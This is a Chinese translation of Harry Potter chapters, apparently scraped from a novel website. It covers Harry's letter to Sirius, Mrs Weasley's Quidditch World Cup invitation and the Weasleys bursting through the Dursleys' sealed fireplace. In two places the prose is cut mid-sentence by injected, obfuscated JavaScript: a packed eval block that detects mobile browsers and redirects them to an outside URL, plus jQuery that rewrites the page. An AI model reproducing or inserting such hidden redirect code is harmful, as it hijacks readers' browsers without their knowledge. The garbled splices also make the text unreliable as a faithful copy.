在这个世界上,韦斯莱全家是哈利最喜欢的一家人。他真希望他们邀请他去住一段时间(罗恩曾经提到魁地奇世界杯赛),他可不愿意自己住在韦斯莱家的时候,大家都紧张兮兮地询问他的伤疤如何如何,那多扫兴啊。 哈利用指关节揉了揉伤疤。其实,他真正需要的(要让他自己承认这一点,多少有些丢脸)是一位——是一位像父母那样的人:一位成年巫师,哈利可以坦然向他请教,而不会感到自己显得很傻,那个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587922|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该很关心他,还应该知道怎样对付黑魔法...... 慢慢地,他脑子里有了答案。太简单了,太显而易见了,他简直无法相信自己居然想了那么长时间——那个人就是小天狼星! 哈利从床上一跃而起,匆匆走过屋子,在桌子旁边坐下。他拉过一张羊皮纸,将鹰毛羽管笔蘸满墨水,写下,亲爱的小天狼星,然后停住了。他不知道用什么词语表达自己面临的问题,一边脑海里还在惊叹,刚才怎么没有一下子就想到小天狼星呢,接着他想通了——毕竟,他两个月前才发现小天狼星是他的教父啊。 那么,为什么在那之前小天狼星没有在哈利的生活中出现呢,原因很简单——小天狼星被关在阿兹卡班,那座令人恐怖的巫师监狱,看守是一些被称为摄魂怪的家伙。它们没有视力,是专门摄取别人灵魂的魔鬼。小天狼星逃跑后,它们曾到霍格沃茨来搜找过他。其实小天狼星是无辜的——指挥他犯的那些谋杀罪行,实际上真正的凶手是伏地魔的追随者虫尾巴,而几乎每个人都以为虫尾巴已经死了。不过,哈利、罗恩和赫敏知道他还活着。就在去年,他们还和虫尾巴面对面地接触过,可是只有邓布利多教授才相信他们的话。 当时,那一个钟头里哈利真是心花怒放,他以为自己终于要离开德思礼家了,因为等到小天狼星澄清自己的名誉,他就要给哈利一个家。然而,这个机会被剥夺了——没等他们把虫尾巴带到魔法部,就让他逃脱了,小天狼星不得不匆匆逃命。 哈利帮助他骑上那头名叫巴克比克的鹰头马身有翼兽逃走了,从那以后,小天狼星就一直逃亡在外。如果虫尾巴没有逃脱,哈利将有一个多么好的家啊。整个夏天,这个念头一直萦绕着他。 哈利明知道自己差一点儿就可以永远摆脱德思礼一家了,现在却又不得不回到他们身边,那种滋味真是难受。 不过,小天狼星虽然不可能陪伴哈利,却一直在帮助他。 正是因为有了小天狼星,哈利现在才能把学校里用的东西都放在卧室里。以前德思礼一家是绝对不许他这么做的。他们一门心思不让哈利快活,再加上对他的功力十分害怕,所以在此之前的每年夏天,他们都把他上学用的东西锁在楼下的碗橱里。 后来,当他们发现哈利有一个危险的杀人犯当他的教父时,他们的态度就转变了——哈利恰好忘记告诉他们小天狼星是无辜的。 哈利回到女贞路后,收到过小天狼星的两封信。这两封信不是猫头鹰送来的(用猫头鹰送信是巫师们的惯常做法),它们都是色彩斑斓的热带大鸟送来的。海德薇对这些花里胡哨的入侵者很不以为然,它甚至不愿让它们在它的水盘里喝几口水再动身离开。 哈利倒是很喜欢那些热带鸟,它们使他想起棕榈树和白色的沙滩。他衷心希望,小天狼星不管在哪里,都生活得很愉快。由于担心信件被半道截走,小天狼星从不透露自己的去向。 不知怎的,哈利觉得很难想象摄魂怪能在灿烂的阳光下存活很长时间,也许正是考虑到这一点,小天狼星才到南方去了。 此刻,小天狼星的信就藏在哈利床底下那块松动的地板下——这块地板的用处非常大。信上的口气很愉快,两封信都提醒哈利,如果他需要的话,随时可以召唤小天狼星。瞧,哈利现在就有这种需要了,好吧...... 当黎明前寒冷的、灰白色的天光慢慢透进房间时,哈利的台灯光线似乎变暗了。终于,太阳升起来了,卧室的墙壁被映成了金黄色,弗农姨父和佩妮姨妈的房间里也有了动静。这时,哈利收拾起桌上那些揉皱的羊皮纸团,又把那封终于写成的信读了一遍。 亲爱的小天狼星: 感谢你给我来信。那只鸟实在太大了,差点进不了我的窗子。 这里的情况没什么变化。达力的节食计划进行得不太成功,昨天我姨妈在他房间里发现了他私藏的炸面圈。他们警告他,如果他屡教不改,他们就不给他零花钱了,结果他一气之下,把他的游戏机扔到了窗外。那是一种电脑,可以在上面玩游戏。他这么做真是有点儿傻,现在他心情苦闷的时候,就不能玩“五花八门第三辑”来消遣了。 我一切都好,主要是因为德思礼一家害怕我一发话,你就会突然出现,把他们全都变成蝙蝠。 不过,今天早晨发生了一件怪事。我的伤疤又疼了。上次疼的时候,是因为伏地魔就在霍格沃茨。我猜想他现在不可能在我附近,是吗?你知道魔咒伤疤会不会在许多年后又疼起来? 海德薇回来后,我就派它把这封信给你送去。它眼下出去捕食了。请代我向巴克比克问好。 哈利 行,看上去不错,哈利心想。没必要把做梦的事也写进去。他不希望显得自己紧张兮兮的。 他卷起羊皮纸,放在桌上,等海德薇回来把它送走。 然后,他站起身,伸了个懒腰,又一次打开衣柜。 他没有照镜子,就径直穿好衣服,下楼吃早饭。 64.邀请 哈利来到厨房的时候,德思礼一家三口已经围坐在桌旁了。 哈利进门坐下时,他们谁也没有抬头看他一眼。弗农姨父那张红红的大脸躲在早晨送来的《每日邮报》后面,佩妮姨妈正在把一只葡萄柚切成四份,她噘着嘴唇,包住了她长长的大马牙。 达力阴沉着脸,显得气呼呼的,所占的空间似乎比平常更大。这就很有意思了,因为他总是一个人把方桌的一面占得满满当当。 佩妮姨妈把四分之一个没有加糖的葡萄柚送进达力的盘子,用颤抖的声音说了句:“吃吧,小乖乖。” 达力怒气冲冲地瞪着她:自从达力暑假回家,带回来期末成绩报告单之后,他的生活便发生了十分痛苦的变化。 对于达力糟糕的学习成绩,弗农姨父和佩妮姨妈像往常一样找到了一些借口:佩妮姨妈总是一再强调,达力是一个很有天赋的孩子,只是老师们都不理解他;弗农姨父则坚持说,他“可不希望自己的儿子变成一个娘娘腔的书呆子”。 对于老师批评达力欺负同学的评语,他们也轻飘飘地一带而过—— “他是一个活泼爱动的小孩,可是他连一只苍蝇都不忍心伤害的!”佩妮姨妈噙着泪花说。 不过,在报告单下面,有学校护士小心翼翼写下的几句话,就连弗农姨父和佩妮姨妈都无法找借口遮掩过去。尽管佩妮姨妈哭喊着达力只是骨头架子大,说他体重过沉只是一种青春期的暂时肥胖,并说他正处在发育成长的阶段,需要丰富的食物和营养,但有一个事实是无法改变的:学校服装库里再也找不到他能穿得下的裤子了。 佩妮姨妈的眼睛,在察看一尘不染的墙壁上的手指印,或观察邻居们的一举一动时总是非常敏锐的,却不肯看到学校护士发现的一个事实:达力根本不需要额外补充营养,他的块头和体重已经接近一头幼年的鲸鱼了。 因此,在没完没了地发脾气之后,在惊天动地的争吵几乎把哈利卧室的地板掀翻之后,在佩妮姨妈抛洒了无数眼泪之后,新的饮食制度开始实施了。 斯梅廷学校护士寄来的减肥食谱被贴在了冰箱上,凡是达力喜欢的食物——汽水饮料、蛋糕、巧克力和汉堡、牛排之类的高热量食物,那上面一概没有,食谱上只有水果、蔬菜,还有一些弗农姨父称之为“垃圾食品”的东西。 为了使达力情绪好一点儿,佩妮姨妈坚持要全家人都遵循那个食谱。此刻,她把四分之一的葡萄柚递给了哈利。哈利注意到,他这一份比达力的那一份要小得多。佩妮姨妈似乎认为,使达力振奋精神的最好办法就是保证他至少比哈利吃的东西多。 然而,佩妮姨妈不知道楼上那块松动的地板下面藏着的秘密。她压根儿也想不到哈利根本就没有节食。当哈利听到风声,得知他们希望他整个夏天都靠胡萝卜棒过活时,便派海德薇给他的朋友们送信,呼吁援助,他们立刻积极响应。 海德薇从赫敏家里带回一个大盒子,里面塞满了无糖的点心(赫敏的父母都是牙科医生)。海格是霍格沃茨学校的猎场看守,他热情地捎来满满一袋自己做的岩皮饼(哈利连碰都没碰,对于海格的烹调手艺,他早有领教)。韦斯莱夫人派出他们家的猫头鹰埃罗尔,给哈利送来了一块巨大的蛋糕和各种风味的夹肉馅饼。可怜的埃罗尔,上了年纪,体力不支,送完这些货之后,整整休息了五天才缓过劲儿来。 后来,在哈利生日那天(德思礼一家连提都没提),他一共收到四份超级大蛋糕,分别是罗恩、赫敏、海格和小天狼星送给他的。到现在为止,还有两个蛋糕没有吃完。哈利期待着回到楼上享用一顿真正的早餐,便毫无怨言地吃着他那份葡萄柚。 弗农姨父气呼呼地从鼻子里哼了一声,放下报纸,低头望着分给他的那份四分之一葡萄柚。 “就这么点儿?”他带着怒气问佩妮姨妈。 佩妮姨妈严厉地瞪了他一眼,又严厉地朝达力点了点头。达力已经吃完他那份葡萄柚,正使劲地盯着哈利的那一份,他那小小的猪眼睛里闪动着十分仇恨的光芒。 弗农姨父重重地叹了口气,吹得他那乱蓬蓬的大胡子抖动起来,然后他拿起勺子。 门铃响了。弗农姨父费力地从椅子上站起来,朝门厅走去。达力趁他母亲忙着照料水壶,说时迟那时快,就把弗农姨父剩下的那份葡萄柚偷了过去。 哈利听见门口有说话声,什么人在哈哈大笑,弗农姨父三言两语地说了句什么。随后,前门关上了,门厅里传来了撕纸的声音。 佩妮姨妈把茶壶放在桌上,好奇地环顾四周,不知道弗农姨父去了哪里。但她很快就会明白的。一分钟后,弗农姨父回来了,神情大怒。 “你,”他对哈利吼道,“快到客厅里去。马上。” 哈利一头雾水,不知道自己这次又做错了什么,他从桌旁站起,跟着弗农姨父出了厨房,走进隔壁的房间。 两人进去后,弗农姨父狠狠地关上房门。 “好啊,”他说,三步并作两步地走到壁炉跟前,回过身来面对着哈利,就好像他要宣布把哈利逮捕法办似的,“好啊。” 哈利真想问一句,“什么‘好啊’?” 但是他知道,弗农姨父一清早的脾气是惹不起的,而且,他已经因为没吃饱而憋了一肚子火。于是,哈利作出一副很礼貌的困惑表情。 “刚送到的,”弗农姨父说,冲着哈利挥舞着一张紫色的书写纸,“一封信。跟你有关。” 哈利更加糊涂了。谁会给弗农姨父写信说他的事呢?在他认识的人中间,有谁会让邮递员送信呢? 弗农姨父恼火地瞪着哈利,然后低头看信,大声念道: 亲爱的德思礼先生和夫人: 我们素不相识,但我相信你们一定从哈利那里听到过许多关于我儿子罗恩的事。 也许哈利已经对你们说过,魁地奇世界杯赛将于星期一夜里举行,我丈夫亚瑟通过他在魔法体育运动司的关系,好不容易弄到了几张最好的票。 我真希望你们允许哈利去观看比赛,这实在是一次千载难逢的机会:英国已经三十年与奖杯无缘了,球票很不容易弄到。当然了,我们很愿意让哈利留下,一直住到暑假结束,并送他平安地乘火车返校。 最好让哈利将你们的答复尽快通过正常方式送达我们,因为麻瓜邮差从来没有给我们家送过信,他大概根本不知道我们家在什么地方。 希望很快见到哈利。 你们忠实的 莫丽·韦斯莱 我希望我们贴足了邮票。又及。 弗农姨父念完了,把手伸进他胸前的口袋,抽出一个东西。 “看看这个。”他没好气地说。 他举起刚才装韦斯莱夫人那封信的信封,哈利拼命憋住,才没有笑出声来。信封上到处都贴满了邮票,只在正面留下了一小块一寸见方的地方,韦斯莱夫人用极小的字,把德思礼家的地址密密麻麻地填写了上去。 “她确实贴足了邮票。”哈利说,竭力使语气显得很平淡,就好像韦斯莱夫人只是犯了一个大家都可能犯的错误。姨父的眼睛里喷出了怒火。 “邮差注意到了,”他咬着牙,声音从牙缝里挤出来,“他非常好奇,想知道这封信是从哪儿来的,所以他摁响了门铃。他大概觉得这件事有些古怪。” 哈利什么也没说。换了别人也许不理解,不就是多贴了几张邮票嘛,弗农姨父何至于这样大惊小怪呢。但哈利和德思礼一家共同生活了这么长时间,知道他们对哪怕稍微有点超出常规的事情都特别敏感。他们最担心的,就是有人发现他们跟韦斯莱夫人那样的人有联系(不管这种联系多么疏远)。 弗农姨父还在狠狠地瞪着哈利。哈利使劲装出一副傻乎乎的表情。只要他不做蠢事,不说傻话,他就有可能去参加百年难遇的重大赛事。他等着弗农姨父说点什么,可是姨父只是那样狠狠地瞪着他。哈利决定打破这种沉默。 “那么——我能去吗?”他问。 弗农姨父那张紫红色的大脸微微抽搐了一下,胡子一根根直立起来。哈利觉得自己仿佛能看到那胡子后面的脑瓜里在想什么:弗农姨父的两个最基本的直觉发生了冲突。让哈利去观看比赛会使哈利高兴,这是十三年来弗农姨父坚决不愿意干的。另一方面,允许哈利到韦斯莱家去过完暑假,就可以比原先盼望的早两个星期摆脱哈利,而弗农姨父是特别讨厌哈利待在自己家里的。 弗农姨父大概是为了给自己一些思考的时间吧,又低头去看韦斯莱夫人的信。 “这个女人是谁?”他厌恶地盯着那个签名,问道。 “你见过她的。”哈利说,“她是我朋友罗恩的母亲,上学期结束的时候,她到霍格——她到学校的火车上来接过他。” 他差点儿说出“霍格沃茨特快列车”,那样一来,肯定会使姨父火冒三丈。在德思礼家里,从来没有人大声提到过哈利学校的名字。 弗农姨父肥硕的大脸皱成一团,似乎在拼命回忆一桩很不愉快的事情。 “那个胖墩墩的女人?”最后,他粗声粗气地问,“带着一大堆红头发的孩子?” 哈利皱起了眉头。他觉得,弗农姨父居然说别人“胖墩墩”,真是太滑稽了,要知道他的亲生儿子达力终于完成了他们从他三岁起就逼他完成的事情——他现在已变成了一个横阔竖圆的胖墩儿。 弗农姨父又在看信。 “魁地奇,”他不出声地嘟囔着,“魁地奇——这是个什么破玩意儿?” 哈利又感到一阵烦躁。 “是一种体育运动,”他愿意多说,“骑在扫帚上玩的——” “行了,行了!”弗农姨父大声说。哈利有些满意地看到,姨父显得有一点儿紧张。显然,他的神经无法忍受“飞天扫帚”这个词在他的客厅里响起。为了寻求避难,他又低头看信。哈利看到他的口形在念“将你们的答复......通过正常方式送达”。他皱起了眉头。 “‘通过正常的方式’,这是什么意思?”他厉声问道。 “我们的那种正常方式,”哈利说,他不等姨父阻止,就接着往下说道,“你知道,就是派猫头鹰送信,巫师们一般都是这么做的。” 弗农姨父显得恼火极了,就好像哈利说了一句大逆不道的骂人话。他气得浑身发抖,紧张地朝窗口扫了一眼,似乎担心邻居会把耳朵贴在玻璃窗上。 “还要我告诉你多少遍,不许在我家里提这些稀奇古怪的事!”他咬牙切齿地说,脸色涨得紫红,活像熟透了的洋李子,“你穿着佩妮和我给你的衣服站在那里,却不知道感恩——” “那些衣服是达力不穿了才给我的。”哈利冷冷地说。确实,他身上穿的那件无领长袖运动肥大得要命,不得不把袖子卷起五道,才能露出双手,衣服的下摆一直拖到那条无比肥大的牛仔裤的膝盖上...... “不许这样对我说话!”弗农姨父气坏了,浑身发抖。 然而哈利不愿意忍受了。过去他被迫遵守德思礼家的每一条愚蠢的清规戒律,如今那种日子一去不复返了。他没有遵守达力的减肥食谱,也不想让弗农姨父阻止他去观看魁地奇世界杯赛——只要有办法,他就一定要争取。 哈利深深吸了一口气,稳定了自己的情绪,然后说道:“好吧,世界杯我看不成了。那么,我现在可以走了吧?我在给小天狼星写信,还没有写完呢。你知道——他是我的教父。” “你在——你在给他写信?”弗农姨父说,竭力使口气保持平静,但是哈利看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591746|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他那双小眼睛的瞳仁突然因为恐惧而缩小了。 “噢——是啊,”哈利漫不经心地说道,“他已经有一段时间没有得到我的消息了,你知道,如果收不到我的信,他会以为我出什么事了。” 他停住话头,欣赏了一下这番话的效果。他简直可以看到弗农姨父梳得一丝不乱的浓密黑发下面的思想活动,看到那些齿轮是怎么运转的。如果姨父阻止哈利给小天狼星写信,小天狼星就会认为哈利受到了虐待。如果姨父对哈利说不能去观看魁地奇世界杯赛,哈利就会告诉小天狼星,小天狼星就会知道哈利确实受到了虐待。这样一来,弗农姨父别无选择,只有一条路可走。 哈利可以清楚地看到那个决定渐渐在姨父脑海里形成,就好像那张络腮胡子的大脸是透明的一样。哈利拼命忍住笑,让自己的脸上不露出任何表情。然后—— “那么,好吧。你可以去观看这个该死的......这个愚蠢的......这个所谓的破世界杯赛。你写信告诉那——那韦斯莱一家,由他们来接你,记住了。我可没有时间把你送来送去。你可以待在那里,把整个暑假过完。你不妨告诉你的——你的教父......告诉他......告诉他你要去。” “好吧。”哈利高兴地说。 他转身朝客厅的门走去,克制住欢呼雀跃的冲动。他要走了......要到韦斯莱家去了,他要去观看魁地奇世界杯赛了! 在外面的门厅里,他差点儿和达力撞了个满怀。达力刚才躲在门后面,显然是希望听见哈利被教训一顿。他看到哈利咧着嘴笑得正欢,不由大为惊愕。 “多么美妙的一顿早餐,是吗?”哈利问,“我吃得真饱啊,你呢?” 哈利嘲笑着达力脸上惊恐的表情,一边三步并作两步地奔上楼梯,冲进自己的卧室。 他一眼就看见海德薇已经回来了。它蹲在笼子里,用巨大的琥珀色眼睛瞪着哈利,同时嘴巴碰出咔哒咔哒的声音,这通常表示它对什么东西感到恼火。 几乎与此同时,令它恼火的东西显形了。 “唉哟!”哈利惊叫,一个长着羽毛的灰色小网球一样的东西猛地撞在他脑袋上。哈利气呼呼地揉着被撞疼的地方,抬头望去,他看见了一只很小很小的猫头鹰,小得可以被他握在手掌里。它激动得像一个燃着的焰火,在房间里嗖嗖地飞来窜去。 哈利这才发现,这只猫头鹰刚才在他脚边扔下一封信。哈利弯下身,认出了罗恩的笑迹,便撕开信封。里面是一封草草写成的短信。 哈利——爸爸弄到票了——爱尔兰对保加利亚。星期一晚上的。妈妈正在给麻瓜写信,邀请你来我们家住。他们大概已经收到信了,我不知道麻瓜送信的速度有多快。我想不管怎样,我还是派了小猪把这封信给你送去。 哈利瞪着“小猪”两个字发愣,又抬头看看那只正绕着天花板上的灯管嗖嗖乱飞的小猫头鹰。他从没见过比它更不像小猪的东西了。大概是罗恩的笔迹太潦草,他没有看清。 他接着看信: 不管麻瓜愿意不愿意,我们都要来接你,你绝不能错过世界杯,不过妈妈和爸爸认为最好还是先假装征求一下他们的意见。如果他们同意,请火速派小猪捎来回信,我们于星期天五点钟过来接你。 赫敏今天下午到。珀西开始上班了——在国际魔法合作部。你在这里的时候,千万不要提跟“国外”沾边的事,除非你想被他烦死。 希望很快见到你。 罗恩 “你安静点儿!”哈利说,小猫头鹰俯冲下来,飞过他的头顶,嘴里叽叽喳喳地叫个不停。哈利只能猜测,它是因为准确无误地把信送到了收件人手里,按捺不住内心的得意。“到这儿来,我要你把我的回信捎回去!” 猫头鹰扑扇着翅膀落到海德薇的笼子顶上,海德薇抬起头,冷冷地望着它,似乎是问它敢不敢再走近一步。 哈利又一次拿起羽毛笔,另外抓过一张干净的羊皮纸,写道: 罗恩,一切都没有问题,麻瓜说我可以来。明天下午五点钟见。我都快等不及了。 哈利 他把信叠得很小很小,那只小猫头鹰兴奋地跳上跳下,哈利费了很大的劲儿才把信拴在它的腿上。信刚一拴好,猫头鹰就出发了。它嗖地从窗口飞了出去,一眨眼就消失了。 哈利转脸望着海德薇。 “你觉得自己能做一次长途飞行吗?”他问海德薇。 海德薇以一种高贵的姿态鸣叫了一声。 “你能替我把这封信送给小天狼星吗?”他说道,拿起他刚才写的那封信,“等一等......我还没有写完。” 他展开羊皮纸,又匆匆加了几句话。 如果你想跟我联系,我将在我朋友罗恩·韦斯莱家里过完暑假。他爸爸为我们弄到了魁地奇世界杯赛的票! 信写完了,哈利把它系在海德薇的腿上。海德薇一动不动,出奇地稳重,似乎打定主意要让哈利看看,一只真正的猫头鹰信使应该怎么做。 “你回来的时候,我在罗恩家,明白吗?”哈利对它说。 海德薇慈爱地轻轻咬了咬他的手指,然后展开巨大的翅膀,发出轻轻的嗖嗖声,轻盈地飞出了敞开的窗口。 哈利望着它消失在空中,回过身来钻到床底下,撬开那块松动的地板,掏出一大块生日蛋糕。他一屁股坐在地板上,大口吃了起来,尽情享受着满心涌动的喜悦。他有蛋糕吃,而达力除了葡萄柚什么都没有。 这是一个晴朗明媚的夏日,他明天就要离开女贞路了,他的伤疤也完全恢复了正常,而且他还要去观看魁地奇世界杯赛。 在这样的时刻,是很难为什么事情感到烦恼的——就连伏地魔也不能破坏他的喜悦。 65.回到陋居 第二天中午十二点的时候,哈利准备带到学校去的箱子已经收拾好了,里面装满了他上学用的东西和所有他最珍贵的宝贝——从父亲那里继承来的隐形衣、小天狼星送给他的飞天扫帚,还有去年弗雷德和乔治·韦斯莱孪生兄弟送给他的带魔法的霍格沃茨活点地图。 他把藏在那块松动地板下面的食物都掏了出来,并把卧室的犄角旮旯搜了又搜,看看是不是还有遗忘的咒语书和羽毛笔,然后摘下挂在墙上的那张表格,上面标着九月一号以前的所有日子。 他每过一天都要在上面的日子上打个叉,只盼着能快点返回霍格沃茨。 在女贞路4号的住宅里,气氛紧张到了极点。很快就要有一群各种各样的巫师光临他们家,这使德思礼一家心情烦躁,神经过敏。当哈利告诉弗农姨父,韦斯莱一家将于第二天下午五点钟赶到这里时,弗农姨父一副大惊失色的样子。 “我希望你告诉过他们,穿衣服要得体,那些人真没法说。”弗农姨父立刻就咆哮起来,“我见过你们那类人穿的东西。他们最好穿正常的衣服,那才是得体的。” 哈利微微感到有些恐慌。他很少看到韦斯莱先生或夫人穿着德思礼一家人称之为“正常”的衣服。他们的孩子也许会在过节的时候穿几件麻瓜的衣服,可是韦斯莱先生和夫人通常穿着各式各样破烂的长袍。 哈利才不在乎邻居会怎么想呢,但他担心如果韦斯莱一家出现时的样子,正是德思礼夫妇脑海中最可怕的巫师的形象的话,不知德思礼夫妇将以怎样无礼的态度对待他们。 弗农姨父穿上他最好的西装。在有些人看来,这大概是表示欢迎的意思,但哈利知道,弗农姨父这么做是为了使自己显得风度不凡,盛气凌人。另一方面,达力看上去倒像是缩小了一些。这倒不是因为减肥食谱终于产生了效果,而是因为达力太害怕了。 达力上次与一位成年巫师接触时,裤子后面伸出了一根蜷曲的猪尾巴,佩妮姨妈和弗农姨父只好花钱送他进了伦敦的私人医院,把尾巴割掉。达力刚刚从那场惊吓中缓过劲儿来,所以,难怪他现在紧张极了,不停地用手在屁股上摸来摸去,并且躲躲闪闪地从一个房间走到另一个房间,生怕又被敌人当成靶子,重演上次的悲剧。 吃午饭的时候,几乎谁也没有说话。达力甚至没有对食物(农家鲜干酪和芹菜末)提出抗议。 佩妮姨妈什么也没吃。她抱着双臂,噘着嘴唇,似乎在咀嚼着自己的舌头,就好像在把她希望扔给哈利的愤怒谴责咀嚼碎了咽下去似的。 “他们肯定是开车来,是吗?”弗农姨父隔着桌子厉声问道。 “嗯。”哈利回答。 他倒没想过这个问题。韦斯莱一家准备怎么来接他呢?他们已经没有汽车了。他们原来是有一辆福特安格里亚老爷车的,可是那辆车眼下正在霍格沃茨的禁林里狂奔乱撞呢。 去年,韦斯莱先生是从魔法部借了一辆汽车,也许他今天也会这么做? “大概是吧。”哈利说。 弗农姨父哼了一声,把粗气喷在胡子上。要按惯常的情况,弗农姨父就该追问韦斯莱先生开的是什么车了。他总喜欢根据别的男人开的车有多宽敞、多昂贵来评价他们。但是哈利怀疑,即便韦斯莱先生开着一辆法拉利,恐怕弗农姨父也不会喜欢他。 哈利几乎整个下午都待在自己的卧室里。他无法忍受佩妮姨妈每隔几秒钟就透过网状的窗帘朝外窥视一番的样子,就好像她得到警告,有一只犀牛从动物园里逃了出来似的。最后,到了五点差一刻,哈利才走下楼梯,来到客厅里。 佩妮姨妈正在一个劲儿地把坐垫摆来摆去,就像患了强迫性精神病一样。弗农姨父假装在看报纸,但他的小眼睛一动不动。哈利可以肯定,他实际上在把汗乎乎的双手压在身下,紧紧地抓住自己的屁股。哈利受不了这种紧张的气氛,就离开了客厅,出来坐在门厅的楼梯上,眼睛盯着手表,心脏因为兴奋和紧张而跳得飞快。 然而,五点钟到了又过了,西装革履的弗农姨父已经在微微冒汗。 他打开前门,朝马路上左右张望了一下,又立刻缩回脑袋。 “他们迟到了!”他粗声恶气地对哈利说。 “我知道,”哈利说,“大概——嗯——大概交通太拥挤了。” 五点十分......五点一刻......哈利自己也开始沉不住气了。五点半的时候,他听见弗农姨父和佩妮姨妈在客厅里没好气地嘟囔着。 “一点儿也不尊重别人!” “我们或许还有别的约会呢。” “他们大概以为,如果他们来晚一点儿,我们就会邀请他们吃晚饭。” “哼,想都别想,”弗农姨父说,哈利听见他站了起来,在客厅里踱来踱去,“他们带上那男孩就走,不许在这里逗留。那是说他们如果来的话。大概把日子搞错了,我敢说他们那类人根本就没有什么时间观念。要么就是他们开的那辆老爷车半路抛锚——啊啊啊啊啊呀!” 哈利一跃而起。从客厅门的后面,传来德思礼一家三口惊恐万状地在房间里爬动的声音。接着,达力一头冲进门厅,表情极度恐怖。 “怎么了?”哈利问,“出什么事了?” 达力似乎已经说不出话来了。他用双手紧紧护住屁股,跌跌撞撞地尽快冲进厨房。哈利赶紧走进客厅。 德思礼家的壁炉是被封死的,前面放着一个烧煤的假电炉。此刻,从壁炉后面传来重重的敲打和摩擦声。 “什么东西?”佩妮姨妈已经退到墙边,恐惧地瞪着电炉,上气不接下气地问,“什么东西,弗农?” 他们的疑问很快就有了答案。被封死的壁炉后面传来了几个人的说话声。 “唉哟!不对,弗雷德——回去,回去,大概是弄错了——快叫乔治不要——唉哟!不对,乔治,这里挤不下了,快回去告诉罗恩——” “说不定哈利能听见我们呢,爸——说不定他能放我们出去呢——” 于是,好几只拳头重重地砸在电炉后面的壁板上。 “哈利?哈利,你能听见吗?” 德思礼夫妇像两只发怒的狼獾,猛地对哈利发起了进攻。 “怎么回事?”弗农姨父咆哮着问,“他们在干什么?” “他们——他们想靠飞路粉到这儿来。”哈利说,他忍不住想放声大笑,拼命克制着,“他们可以在火上旅行——只是你把壁炉封死了——等一等——” 他走到壁炉跟前,隔着壁板朝里面喊话。 “韦斯莱先生吗?你能听见我说话吗?” 拳头砸墙壁的声音停止了。壁炉台里面有一个人说:“嘘!” “韦斯莱先生,我是哈利......壁炉被封死了。你们不可能从这里出来。” “该死!”韦斯莱先生的声音说,“他们干吗要把好好的壁炉封死?” “他们弄了一个电火炉。”哈利解释道。 “真的?”韦斯莱先生的声音兴奋起来,“你是说,带电的?有插头吗?太棒了,我一定得见识见识......让我想想......唉哟,罗恩!” 罗恩的声音也加入到了他们中间。 “我们在这里做什么?出什么事儿了吗?” “噢,没有,罗恩,”弗雷德的声音传了出来,一副讽刺的腔调,“没出事儿,这正是我们要来的地方。” “哎呀,我们都在这里浪费时间。”乔治说,他的声音发闷,似乎他被挤得贴在了墙上。 “孩子们,孩子们......”韦斯莱先生模糊的声音说,“我在考虑怎么办......好吧......只有这样了......哈利,往后站。” 哈利退到沙发前,弗农姨父反倒向前跨了几步。 “等等!”他冲着炉火喊道,“你们究竟想干什——” 嗙! 封死的壁炉猛地炸开了,电炉一下子腾地飞到房间那头,韦斯莱先生、弗雷德、乔治和罗恩随着一大堆碎石墙皮被甩了出来。佩妮姨妈尖叫一声,向后倒在咖啡桌上,弗农姨父伸手把她抓住,她才没有摔倒在地。弗农姨父喘着粗气,说不出话来,只是瞪眼瞅着韦斯莱一家。他们都有着一头红通通的头发,还有弗雷德和乔治,这两兄弟完全是一个模子刻出来的,连脸上的雀斑也一模一样。 “这下好多了。”韦斯莱先生喘着气说,掸了掸绿色长袍上的尘土,扶了扶眼镜,“啊——想必你们就是哈利的姨妈和姨父吧!” 韦斯莱先生是个瘦瘦高高的秃顶男人,他伸出一只手,朝弗农姨父走来,可是弗农姨父拉着佩妮姨妈,连连后退了几步。弗农姨父完全说不出话来了,他那套最好的西装上落满白色的灰尘,头发和胡子上也是,弄得他像是一下子老了三十岁。 “哦——是的——对不起。”韦斯莱先生说,垂下那只手,扭头看着炸开的壁炉,“这都怪我。我压根儿没想到,我们到了目的地却出不来。您知道吗,我把您的壁炉同飞路网络联在了一起——就这一个下午,您知道的,为了来接哈利。严格地说,麻瓜的壁炉是不应该联网的——但是我在飞路管理小组有一个很管用的熟人,是他帮我办妥的。不用担心,我一会儿就给您弄好。我要点一堆火,把孩子们送回去,然后在我用幻影移形离开前,我可以帮您修好壁炉。” 哈利敢说德思礼夫妇对这番话一个字都没听懂。他们都呆若木鸡地瞪着韦斯莱先生。佩妮姨妈站直了身子,摇摇晃晃地躲到了弗农姨父身后。 “你好,哈利!”韦斯莱先生兴高采烈地说,“你的箱子收拾好了吗?” “在楼上呢。”哈利也朝他笑着,说道。 “我们去搬下来。”弗雷德立刻自告奋勇地说。他和乔治朝哈利眨了眨眼睛,就离开了客厅。他们知道哈利的卧室在哪里,有一次,他们在半夜三更把他从卧室里营救了出去。哈利怀疑弗雷德和乔治是想看看达力,他们从哈利嘴里听到过不少关于达力的事。 “好吧。”韦斯莱先生说。他微微摆着双手,拼命想找到一句合适的话,打破这令人难受的沉默。“你们住的地方非常——嗯——非常漂亮。” 平常一尘不染的客厅,现在到处都是灰尘和碎砖头,因此,这句恭维话在德思礼夫妇听来,就不可能受欢迎了。弗农姨父的脸顿时涨得通红,佩妮姨妈又开始咬她的舌头。不过,他们似乎都被吓得不敢再说一个字。 